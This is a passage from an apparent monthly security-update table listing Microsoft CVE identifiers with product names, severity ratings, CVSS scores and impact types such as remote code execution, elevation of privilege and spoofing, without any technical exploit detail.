Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n 